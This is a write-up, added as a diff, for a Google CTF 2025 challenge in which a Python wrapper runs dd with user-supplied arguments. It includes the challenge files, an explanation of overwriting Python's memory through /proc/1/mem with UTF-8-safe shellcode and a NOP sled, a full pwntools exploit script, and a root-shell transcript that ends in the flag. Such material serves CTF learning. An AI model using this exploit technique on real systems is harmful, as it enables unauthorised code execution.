|
| 1 | ++++ |
| 2 | +title = "Data_Definition" |
| 3 | +date = 2025-08-13 |
| 4 | +authors = ["Hargun Kaur"] |
| 5 | ++++ |
| 6 | +# The Handout |
| 7 | +Let's begin by looking at the given files, `chall.py`, `Dockerfile`, and `nsjail.cfg`: |
| 8 | +## chall.py |
| 9 | +```python |
| 10 | +# Copyright 2025 Google LLC |
| 11 | +# |
| 12 | +# Licensed under the Apache License, Version 2.0 (the "License"); |
| 13 | +# you may not use this file except in compliance with the License. |
| 14 | +# You may obtain a copy of the License at |
| 15 | +# |
| 16 | +# https://www.apache.org/licenses/LICENSE-2.0 |
| 17 | +# |
| 18 | +# Unless required by applicable law or agreed to in writing, software |
| 19 | +# distributed under the License is distributed on an "AS IS" BASIS, |
| 20 | +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 21 | +# See the License for the specific language governing permissions and |
| 22 | +# limitations under the License. |
| 23 | + |
| 24 | +import subprocess |
| 25 | +import sys |
| 26 | + |
| 27 | + |
| 28 | +def main(): |
| 29 | + print('Do you like dd? It is my favorite old-style tool :D\n') |
| 30 | + line = input(' > What is your favorite dd line?: ').encode() |
| 31 | + user_input = input(' > Any input to go with it?: ').encode() |
| 32 | + print('I like it! Let\'s give it a go!') |
| 33 | + res = subprocess.run(['dd'] + line.split(), input=user_input, |
| 34 | + capture_output=True) |
| 35 | + print(res.stdout.decode('utf-8')) |
| 36 | + print(res.stderr.decode('utf-8')) |
| 37 | + print('It was fun, bye!') |
| 38 | + |
| 39 | + |
| 40 | +if __name__ == '__main__': |
| 41 | + main() |
| 42 | + |
| 43 | +``` |
| 44 | +The python script `chall.py` |
| 45 | +- takes in the arguments for `dd` command as `line`, and also `user_input` as `stdin` |
| 46 | +- runs [the `dd` command](https://en.wikipedia.org/wiki/Dd_(Unix)#See_also) |
| 47 | +Note that the `user_input` needs to be encoded in utf-8 because the script decodes received bytes in utf-8 before using it. |
| 48 | +## Dockerfile |
| 49 | +```Dockerfile |
| 50 | +# Copyright 2025 Google LLC |
| 51 | +# |
| 52 | +# Licensed under the Apache License, Version 2.0 (the "License"); |
| 53 | +# you may not use this file except in compliance with the License. |
| 54 | +# You may obtain a copy of the License at |
| 55 | +# |
| 56 | +# https://www.apache.org/licenses/LICENSE-2.0 |
| 57 | +# |
| 58 | +# Unless required by applicable law or agreed to in writing, software |
| 59 | +# distributed under the License is distributed on an "AS IS" BASIS, |
| 60 | +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 61 | +# See the License for the specific language governing permissions and |
| 62 | +# limitations under the License. |
| 63 | +FROM ubuntu:24.04 as chroot |
| 64 | + |
| 65 | +# ubuntu24 includes the ubuntu user by default |
| 66 | +RUN /usr/sbin/userdel -r ubuntu && /usr/sbin/useradd --no-create-home -u 1000 user |
| 67 | + |
| 68 | +RUN apt update && apt install -y python3 |
| 69 | + |
| 70 | +COPY fake_flag.txt /home/user/flag |
| 71 | +COPY fake_flag.txt /home/user/flag.txt |
| 72 | +COPY flag.txt <REDACTED> |
| 73 | +COPY chall.py /home/user/ |
| 74 | + |
| 75 | +FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f |
| 76 | + |
| 77 | +COPY --from=chroot / /chroot |
| 78 | + |
| 79 | +COPY nsjail.cfg /home/user/ |
| 80 | + |
| 81 | +CMD kctf_setup && \ |
| 82 | + kctf_drop_privs \ |
| 83 | + socat \ |
| 84 | + TCP-LISTEN:1337,reuseaddr,fork \ |
| 85 | + EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/bin/python3 -u /home/user/chall.py" |
| 86 | +``` |
| 87 | +From the `Dockerfile`, we see that the challenge runs as UID 1000, non-root and drops privileges before running `chall.py`. |
| 88 | +The python process has PID 1, so we can access |
| 89 | + - `dd`'s `stdin` using `/proc/self/0` |
| 90 | + - python's memory using `/proc/1/mem` |
| 91 | +## nsjail.cfg |
| 92 | +``` |
| 93 | +# Copyright 2020 Google LLC |
| 94 | +# |
| 95 | +# Licensed under the Apache License, Version 2.0 (the "License"); |
| 96 | +# you may not use this file except in compliance with the License. |
| 97 | +# You may obtain a copy of the License at |
| 98 | +# |
| 99 | +# https://www.apache.org/licenses/LICENSE-2.0 |
| 100 | +# |
| 101 | +# Unless required by applicable law or agreed to in writing, software |
| 102 | +# distributed under the License is distributed on an "AS IS" BASIS, |
| 103 | +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 104 | +# See the License for the specific language governing permissions and |
| 105 | +# limitations under the License. |
| 106 | +
|
| 107 | +# See options available at https://github.com/google/nsjail/blob/master/config.proto |
| 108 | +
|
| 109 | +name: "default-nsjail-configuration" |
| 110 | +description: "Default nsjail configuration for pwnable-style CTF task." |
| 111 | +
|
| 112 | +mode: ONCE |
| 113 | +uidmap {inside_id: "0"} |
| 114 | +gidmap {inside_id: "0"} |
| 115 | +keep_caps: true |
| 116 | +rlimit_as_type: HARD |
| 117 | +rlimit_cpu_type: HARD |
| 118 | +rlimit_nofile_type: HARD |
| 119 | +rlimit_nproc_type: HARD |
| 120 | +rlimit_fsize_type: HARD |
| 121 | +rlimit_fsize: 1024 |
| 122 | +
|
| 123 | +cwd: "/home/user" |
| 124 | +
|
| 125 | +mount: [ |
| 126 | + { |
| 127 | + src: "/chroot" |
| 128 | + dst: "/" |
| 129 | + is_bind: true |
| 130 | + }, |
| 131 | + { |
| 132 | + dst: "/tmp" |
| 133 | + fstype: "tmpfs" |
| 134 | + rw: true |
| 135 | + }, |
| 136 | + { |
| 137 | + dst: "/proc" |
| 138 | + fstype: "proc" |
| 139 | + rw: true |
| 140 | + }, |
| 141 | + { |
| 142 | + src: "/etc/resolv.conf" |
| 143 | + dst: "/etc/resolv.conf" |
| 144 | + is_bind: true |
| 145 | + } |
| 146 | +] |
| 147 | +``` |
| 148 | +`nsjail.cfg` sets the maximum file size to 1KB and gives `/proc` and `/tmp` access. |
| 149 | +# The Solution |
| 150 | +Goal: Use `dd` to overwrite Python's executable memory with shellcode. |
| 151 | +- Once Python's child process (`dd`) completes, the parent process will stop polling the child and continue executing Python instructions from a point in its own `.text` section. |
| 152 | + - We can look at the process maps when the challenge is running to find the address of Python's `.text` section. |
| 153 | +- Use `dd` to seek to roughly around that address and write the contents of standard input. |
| 154 | + - The command would look something like: `dd if=/proc/self/0 of=/proc/1/mem seek=<some_offset>`. |
| 155 | +- Write UTF-8 compatible shellcode. |
| 156 | + - [This Phrack article](https://phrack.org/issues/62/9) on the topic explains the rules: |
| 157 | + - Any instruction bytes between `0` and `7f` are not a problem. |
| 158 | + - Any byte above that requires a certain number of following bytes, and each following byte has its own valid range. |
| 159 | + - Take the `execve("/bin/sh")` shellcode and make it UTF-8 compliant. |
| 160 | + - It turns out that none of the instruction bytes in this shellcode are UTF-8 incompatible, so it works as is. |
| 161 | +Here's the shellcode with explanation: |
| 162 | +{{ img(id="/content/writeups/GoogleCTF2025/datadefinition/shellcode.jpg", alt="Explanation for shellcode", class="textCenter") }} |
| 163 | + |
| 164 | +- There's an instruction, `\x31\xc9`, which has no side effects. You can use it to insert bytes that are outside the `0-7f` range. |
| 165 | +- We can use this to create a NOP sled (a sequence of NOP instructions, e.g., `\x31\xc9\x90`). |
| 166 | +- Write the string `b"/bin/sh"` and the NOP sled into memory at the specified offset, followed by our actual shellcode. |
| 167 | +- The shellcode will then load the address of `"/bin/sh"` into the `rdi` register. |
| 168 | +- As long as the NOP sled is large enough and the interpreter starts executing from somewhere within it, we'll reach your shellcode. |
| 169 | +- Since you know the address of `"/bin/sh"`, you can load that into `rdi` and make the `syscall`. |
| 170 | +- This way, we don't need to know the exact starting address; you just need to provide a large number of NOPs. |
| 171 | +Putting it all together, we get the exploit script: |
| 172 | +```python |
| 173 | +from pwn import * |
| 174 | + |
| 175 | +context.log_level = 'debug' |
| 176 | + |
| 177 | +# Connect to challenge |
| 178 | +p = remote('datadefinition.2025.ctfcompetition.com', 1337) |
| 179 | + |
| 180 | +# ============ POW ============ |
| 181 | +p.recvuntil(b'You can run the solver with:\n ') |
| 182 | +pow_line = p.recvline().decode().strip() |
| 183 | +token = pow_line.split()[-1] |
| 184 | +print("Wait for POW to be solved...") |
| 185 | + |
| 186 | +# Run: curl script | python3 - solve <token> |
| 187 | +cmd = f"curl -sSL https://goo.gle/kctf-pow | python3 - solve {token}" |
| 188 | +result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, text=True) |
| 189 | +pow_ans = result.stdout.strip() |
| 190 | +print("POW answer obtained!") |
| 191 | + |
| 192 | +p.recvuntil(b'Solution? ') |
| 193 | +p.sendline(pow_ans.encode()) |
| 194 | +# ============ POW ============ |
| 195 | + |
| 196 | +# Send dd arguments |
| 197 | +payload = b'if=/proc/self/fd/0 of=/proc/1/mem bs=1 seek=4325376' |
| 198 | +p.sendlineafter(b' > What is your favorite dd line?: ', payload) |
| 199 | + |
| 200 | +# Craft stdin payload |
| 201 | +NOP_SLED_SIZE =0x1100 |
| 202 | + |
| 203 | +shellcode = b"\x89\xce\x90\x56\x68\x00\x00\x42\x00\x5f\x6a\x3b\x58\x48\x31\xd2\x90\x0f\x05" |
| 204 | + |
| 205 | +payload = ( |
| 206 | + b"/bin/sh\x00" |
| 207 | + + b"\x31\xc9\x90" * NOP_SLED_SIZE |
| 208 | + + b"\x31\xc9" |
| 209 | + + shellcode |
| 210 | +) |
| 211 | + |
| 212 | +p.sendlineafter(b' > Any input to go with it?: ', payload) |
| 213 | + |
| 214 | +p.recvuntil(b"I like it! Let's give it a go!\n") |
| 215 | + |
| 216 | +# Access shell manually |
| 217 | +p.interactive() |
| 218 | +``` |
| 219 | +Now `id` command reveals we are root user |
| 220 | +``` |
| 221 | +[*] Switching to interactive mode |
| 222 | +$ id |
| 223 | +uid=0(root) gid=0(root) groups=0(root) |
| 224 | +``` |
| 225 | +Just ignore the red herrings... |
| 226 | +``` |
| 227 | +$ ls |
| 228 | +chall.py |
| 229 | +flag |
| 230 | +flag.txt |
| 231 | +
|
| 232 | +$ cat flag |
| 233 | +It's not that easy pal... The flag is not here. |
| 234 | +You need to get RCE for actual pwnage! |
| 235 | +
|
| 236 | +$ cat flag.txt |
| 237 | +It's not that easy pal... The flag is not here. |
| 238 | +You need to get RCE for actual pwnage! |
| 239 | +``` |
| 240 | +...and navigate to the real flag! |
| 241 | +``` |
| 242 | +$ cd / |
| 243 | +
|
| 244 | +$ ls |
| 245 | +bin |
| 246 | +boot |
| 247 | +dev |
| 248 | +etc |
| 249 | +flag_spELRE7Rwc8D3pWkP1Ol0LqFXWAZgr9S.txt |
| 250 | +home |
| 251 | +lib |
| 252 | +lib64 |
| 253 | +media |
| 254 | +mnt |
| 255 | +opt |
| 256 | +proc |
| 257 | +root |
| 258 | +run |
| 259 | +sbin |
| 260 | +srv |
| 261 | +sys |
| 262 | +tmp |
| 263 | +usr |
| 264 | +var |
| 265 | +
|
| 266 | +$ cat flag_spELRE7Rwc8D3pWkP1Ol0LqFXWAZgr9S.txt |
| 267 | +CTF{GoodOlUnixToolsAndReadingSomePhrack} |
| 268 | +``` |
0 commit comments